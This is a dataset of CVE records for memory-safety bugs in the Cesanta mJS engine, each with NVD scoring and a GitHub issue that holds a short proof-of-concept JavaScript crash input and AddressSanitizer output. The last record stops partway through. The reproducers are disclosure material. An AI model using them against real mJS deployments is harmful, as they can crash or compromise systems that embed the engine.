CVE-2021-46521 | 2022-01-27T21:15:09.990 | Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via c_vsnprintf at mjs/src/common/str_util.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/cesanta/mjs/issues/190"
}
] | [
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] | https://github.com/cesanta/mjs/issues/190 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse - 6. + 4321e2)([([JSON.parse(JSON.stringify([(0)]))])]));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=================================================================
==61818==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000064c54a at pc 0x0000005ea260 bp 0x7fff3bbcc940 sp 0x7fff3bbcc938
WRITE of size 4 at 0x00000064c54a thread T0
#0 0x5ea25f in c_vsnprintf /root/mjs/src/common/str_util.c:180:14
#1 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
#2 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
#3 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
#4 0x7f1016453b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)
0x00000064c54a is located 54 bytes to the left of global variable '<string literal>' defined in 'src/mjs_util.c:125:7' (0x64c580) of size 15
'<string literal>' is ascii string 'src/mjs_util.c'
0x00000064c54b is located 0 bytes to the right of global variable '<string literal>' defined in 'src/mjs_util.c:120:30' (0x64c540) of size 11
'<string literal>' is ascii string ' %-3u %-8s'
SUMMARY: AddressSanitizer: global-buffer-overflow /root/mjs/src/common/str_util.c:180:14 in c_vsnprintf
Shadow bytes around the buggy address:
0x0000800c1850: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
0x0000800c1860: 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
0x0000800c1870: 06 f9 f9 f9 f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9
0x0000800c1880: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
0x0000800c1890: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9
=>0x0000800c18a0: 00 04 f9 f9 f9 f9 f9 f9 00[03]f9 f9 f9 f9 f9 f9
0x0000800c18b0: 00 07 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9
0x0000800c18c0: 07 f9 f9 f9 f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9
0x0000800c18d0: 00 02 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9
0x0000800c18e0: 00 00 04 f9 f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9
0x0000800c18f0: 02 f9 f9 f9 f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==61818==ABORTING
```
Credits: Found by OWL337 team. | Global-buffer-overflow mjs/src/common/str_util.c:180:14 in c_vsnprintf | https://api.github.com/repos/cesanta/mjs/issues/190/comments | 0 | 2021-12-31T05:25:14Z | 2022-01-12T02:18:45Z | https://github.com/cesanta/mjs/issues/190 | 1,091,424,729 | 190 |
CVE-2021-46522 | 2022-01-27T21:15:10.033 | Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
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{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/cesanta/mjs/issues/196"
}
] | [
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"Third Party Advisory"
] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function JSEtest(a) {
let arr = ['prototype'.indexOf(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp']))];
if (a < 10)
JSEtest(a + 1);
}
JSEtest(0);
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x7fabea0b7f54 bp 0x7ffdfc32c250 sp 0x7ffdfc32b9f8
READ of size 19 at 0x60b0000000ab thread T0
#0 0x7fabea0b7f53 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53)
#1 0x55e0e1aa2ff6 in mg_strstr src/common/mg_str.c:154
#2 0x55e0e1a6c363 in mjs_string_index_of src/mjs_string.c:366
#3 0x55e0e19c5244 in mjs_execute src/mjs_exec.c:853
#4 0x55e0e19cea05 in mjs_exec_internal src/mjs_exec.c:1073
#5 0x55e0e19cea05 in mjs_exec_file src/mjs_exec.c:1096
#6 0x55e0e198b909 in main src/mjs_main.c:47
#7 0x7fabe9a34b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#8 0x55e0e198c449 in _start (/usr/local/bin/Gmjs+0xe449)
0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab)
allocated by thread T0 here:
#0 0x7fabea0e6f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x55e0e1a9d346 in mbuf_resize src/common/mbuf.c:50
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53)
Shadow bytes around the buggy address:
0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
=>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa fd fd
0x0c167fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Credits: Found by OWL337 team. | Heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53) | https://api.github.com/repos/cesanta/mjs/issues/196/comments | 0 | 2021-12-31T05:38:16Z | 2022-01-12T02:19:08Z | https://github.com/cesanta/mjs/issues/196 | 1,091,427,319 | 196 |
CVE-2021-46523 | 2022-01-27T21:15:10.077 | Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via to_json_or_debug at mjs/src/mjs_json.c. | {
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"type": "Primary",
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"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
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"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build steps
```bash
vim Makefile
DOCKER_CLANG=clang
$(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((JSON.stringify - 6.5 - 321e2)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
==122636==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61500000007f at pc 0x00000057b751 bp 0x7fff091bd080 sp 0x7fff091bd078
WRITE of size 1 at 0x61500000007f thread T0
#0 0x57b750 in to_json_or_debug /root/mjs/src/mjs_json.c:154:13
#1 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5
#2 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11
#3 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11
#4 0x7f2516c85b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9)
0x61500000007f is located 1 bytes to the left of 472-byte region [0x615000000080,0x615000000258)
allocated by thread T0 here:
#0 0x4da3a8 in calloc (/usr/local/bin/mjs+0x4da3a8)
#1 0x538c1a in mjs_create /root/mjs/src/mjs_core.c:74:21
#2 0x5817e1 in main /root/mjs/src/mjs_main.c:17:21
#3 0x7f2516c85b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/mjs/src/mjs_json.c:154:13 in to_json_or_debug
Shadow bytes around the buggy address:
0x0c2a7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa]
0x0c2a7fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa
0x0c2a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==122636==ABORTING
```
Credits: Found by OWL337 team. | Heap-buffer-overflow mjs/src/mjs_json.c:154:13 in to_json_or_debug | https://api.github.com/repos/cesanta/mjs/issues/198/comments | 0 | 2021-12-31T05:40:39Z | 2022-01-12T02:19:30Z | https://github.com/cesanta/mjs/issues/198 | 1,091,427,798 | 198 |
CVE-2021-46524 | 2022-01-27T21:15:10.117 | Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via snquote at mjs/src/mjs_json.c. | {
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"source": "[email protected]",
"type": "Primary"
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"source": "[email protected]",
"tags": [
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"Issue Tracking",
"Patch",
"Third Party Advisory"
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(function() {
((function JSEtest(a Number) {
if (a > 0) {
gc((JSON.stringify(gc('#1.1: -0 - -0 === 0. Actual: '))) !== JSON.stringify('#1.1: -0 - -0 === 0. Actual: ' !== JSEtest(a - 1)))
}
})(6))
})()
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=================================================================
==109655==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110000004d6 at pc 0x559ce8d17a88 bp 0x7ffce13798c0 sp 0x7ffce13798b0
READ of size 1 at 0x6110000004d6 thread T0
#0 0x559ce8d17a87 in snquote src/mjs_json.c:81
#1 0x559ce8d17a87 in to_json_or_debug src/mjs_json.c:167
#2 0x559ce8d17a87 in mjs_json_stringify src/mjs_json.c:267
#3 0x559ce8d17a87 in mjs_op_json_stringify src/mjs_json.c:494
#4 0x559ce8cd2244 in mjs_execute src/mjs_exec.c:853
#5 0x559ce8cdba05 in mjs_exec_internal src/mjs_exec.c:1073
#6 0x559ce8cdba05 in mjs_exec_file src/mjs_exec.c:1096
#7 0x559ce8c98909 in main src/mjs_main.c:47
#8 0x7f97d5af7b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x559ce8c99449 in _start (/usr/local/bin/Gmjs+0xe449)
0x6110000004d6 is located 0 bytes to the right of 214-byte region [0x611000000400,0x6110000004d6)
allocated by thread T0 here:
#0 0x7f97d61a9f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x559ce8daa346 in mbuf_resize src/common/mbuf.c:50
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_json.c:81 in snquote
Shadow bytes around the buggy address:
0x0c227fff8040: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
0x0c227fff8050: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff8070: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa
0x0c227fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c227fff8090: 00 00 00 00 00 00 00 00 00 00[06]fa fa fa fa fa
0x0c227fff80a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c227fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c227fff80c0: 00 04 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c227fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==109655==ABORTING
```
| Heap-buffer-overflow src/mjs_json.c:81 in snquote | https://api.github.com/repos/cesanta/mjs/issues/192/comments | 0 | 2021-12-31T05:33:31Z | 2021-12-31T05:33:31Z | https://github.com/cesanta/mjs/issues/192 | 1,091,426,355 | 192 |
CVE-2021-46525 | 2022-01-27T21:15:10.160 | Cesanta MJS v2.20.0 was discovered to contain a heap-use-after-free via mjs_apply at src/mjs_exec.c. | {
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{
"source": "[email protected]",
"tags": [
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"Issue Tracking",
"Patch",
"Third Party Advisory"
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function T(f) {}
function JSEtest(b) {
T.apply.apply(T.apply, []);
if (b < 10)
JSEtest(T.apply, []);
}
JSEtest(0);
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=================================================================
======ERROR: AddressSanitizer: heap-use-after-free on address 0x6040000000f8 at pc 0x5590f9ee05d6 bp 0x7fff0f0dc5b0 sp 0x7fff0f0dc5a0
READ of size 8 at 0x6040000000f8 thread T0
#0 0x5590f9ee05d5 in mjs_apply src/mjs_exec.c:1156
#1 0x5590f9ee08d4 in mjs_apply_ src/mjs_exec.c:515
#2 0x5590f9ed4244 in mjs_execute src/mjs_exec.c:853
#3 0x5590f9edda05 in mjs_exec_internal src/mjs_exec.c:1073
#4 0x5590f9edda05 in mjs_exec_file src/mjs_exec.c:1096
#5 0x5590f9e9a909 in main src/mjs_main.c:47
#6 0x7f009363db96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x5590f9e9b449 in _start (/usr/local/bin/Gmjs+0xe449)
0x6040000000f8 is located 40 bytes inside of 48-byte region [0x6040000000d0,0x604000000100)
freed by thread T0 here:
#0 0x7f0093ceff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x5590f9facdf8 in mbuf_insert src/common/mbuf.c:90
previously allocated by thread T0 here:
#0 0x7f0093ceff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30)
#1 0x5590f9facdf8 in mbuf_insert src/common/mbuf.c:90
SUMMARY: AddressSanitizer: heap-use-after-free src/mjs_exec.c:1156 in mjs_apply
Shadow bytes around the buggy address:
0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c087fff8000: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00
=>0x0c087fff8010: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd[fd]
0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
Credits: Found by OWL337 team.
| Heap-use-after-free src/mjs_exec.c:1156 in mjs_apply | https://api.github.com/repos/cesanta/mjs/issues/199/comments | 0 | 2021-12-31T05:41:58Z | 2022-01-12T02:19:47Z | https://github.com/cesanta/mjs/issues/199 | 1,091,428,077 | 199 |
CVE-2021-46526 | 2022-01-27T21:15:10.207 | Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via snquote at src/mjs_json.c. | {
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"cesanta",
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] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
(JSON.stringify([1, 2, 3]))((JSON.parse - 10900)(JSON.stringify([1, 2, 3])));
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=================================================================
====ERROR: AddressSanitizer: global-buffer-overflow on address 0x5570a88f30e4 at pc 0x5570a8803a88 bp 0x7ffc63d95f40 sp 0x7ffc63d95f30
READ of size 1 at 0x5570a88f30e4 thread T0
#0 0x5570a8803a87 in snquote src/mjs_json.c:81
#1 0x5570a8803a87 in to_json_or_debug src/mjs_json.c:167
#2 0x5570a8803a87 in mjs_json_stringify src/mjs_json.c:267
#3 0x5570a8803a87 in mjs_op_json_stringify src/mjs_json.c:494
0x5570a88f30e4 is located 0 bytes to the right of global variable '*.LC1' defined in 'src/mjs_array.c' (0x5570a88f30e0) of size 4
'*.LC1' is ascii string '%lu'
0x5570a88f30e4 is located 60 bytes to the left of global variable '*.LC9' defined in 'src/mjs_array.c' (0x5570a88f3120) of size 5
'*.LC9' is ascii string 'this'
SUMMARY: AddressSanitizer: global-buffer-overflow src/mjs_json.c:81 in snquote
Shadow bytes around the buggy address:
0x0aae951165c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aae951165d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aae951165e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aae951165f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aae95116600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0aae95116610: 00 00 00 00 00 00 00 00 00 00 00 00[04]f9 f9 f9
0x0aae95116620: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9
0x0aae95116630: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9
0x0aae95116640: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
0x0aae95116650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0aae95116660: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 04
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
====ABORTING
```
| Global-buffer-overflow src/mjs_json.c:81 in snquote | https://api.github.com/repos/cesanta/mjs/issues/191/comments | 0 | 2021-12-31T05:31:36Z | 2021-12-31T05:31:36Z | https://github.com/cesanta/mjs/issues/191 | 1,091,425,933 | 191 |
CVE-2021-46527 | 2022-01-27T21:15:10.250 | Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_get_cstring at src/mjs_string.c. | {
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] | github.com | [
"cesanta",
"mjs"
] | ###### mJS revision
Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```
###### Test case
<details>
<summary>poc.js</summary>
<pre><code>
```javascript
function JSEtest(a) {
(typeof((typeof"cookie-present" !== gc("$$abcdabcd")) !== function() {
return 100;
})) !== function() {
return 100;
};
if ("cookie-present" !== gc("$$abcdabcd"))
gc(true);
if (a < 10)
load(gc(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp'])));;
if (a < 1)
JSEtest(a+1);;
}
JSEtest(0)
```
</code></pre>
</details>
###### Execution steps & Output
```bash
$ ./mjs/build/mjs poc.js
=====ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60f000000203 at pc 0x5581d25fa021 bp 0x7ffff5880770 sp 0x7ffff5880760
READ of size 1 at 0x60f000000203 thread T0
#0 0x5581d25fa020 in mjs_get_cstring src/mjs_string.c:213
#1 0x5581d253f5aa in mjs_load src/mjs_builtin.c:58
#2 0x5581d2559244 in mjs_execute src/mjs_exec.c:853
#3 0x5581d2562a05 in mjs_exec_internal src/mjs_exec.c:1073
#4 0x5581d2562a05 in mjs_exec_file src/mjs_exec.c:1096
#5 0x5581d251f909 in main src/mjs_main.c:47
#6 0x7f20b4fd4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#7 0x5581d2520449 in _start (/usr/local/bin/Gmjs+0xe449)
Address 0x60f000000203 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_string.c:213 in mjs_get_cstring
Shadow bytes around the buggy address:
0x0c1e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1e7fff8000: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c1e7fff8010: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c1e7fff8020: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
0x0c1e7fff8030: 00 00 00 00 00 00 00 00 00 00 06 fa fa fa fa fa
=>0x0c1e7fff8040:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
